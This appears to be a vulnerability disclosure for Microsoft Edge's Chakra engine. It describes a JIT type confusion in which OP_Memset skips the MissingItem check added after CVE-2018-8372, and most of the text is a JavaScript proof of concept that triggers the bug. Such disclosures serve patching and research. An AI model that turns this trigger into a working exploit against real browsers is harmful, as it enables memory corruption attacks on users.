Microsoft Edge: Chakra: Type confusion with OP_Memset
Since the patch for CVE-2018-8372, it checks all in Microsoft Edge: Chakra: Type confusion with OP_Memset
Microsoft Edge: Chakra: Type confusion with OP_Memset
Since the patch for CVE-2018-8372, it checks all inputs to native arrays, and if any input equals to the MissingItem value which can cause type confusion, it starts the bailout process. But it doesn't check the "value" argument to OP_Memset. This can be exploited in the same way as for <a href="/p/project-zero/issues/detail?id=1581" title="Microsoft Edge: Chakra: JIT: Magic value can cause type confusion #2" class="closed_ref" rel="nofollow"> issue 1581 </a>.
PoC:
function memset(arr, value, n) {
for (let i = 0; i < n; i++) {
arr[i] = value;
}
}
function trigger(arr, buggy) {
let tmp = [1];
arr.length;
let res = tmp.concat(buggy);
arr[0] = 0x1234;
arr[1] = 0;
}
function main() {
let tmp = (new Array(100)).fill(1);
for (let i = 0; i < 500; i++) {
memset(tmp, 1, tmp.length);
trigger(tmp, [1]);
}
setTimeout(() => {
let buggy = [1];
let arr = [1, 2];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy({}, arr);
memset(buggy, -524286, 1);
trigger(arr, buggy);
alert(arr);
}, 100);
}
main();
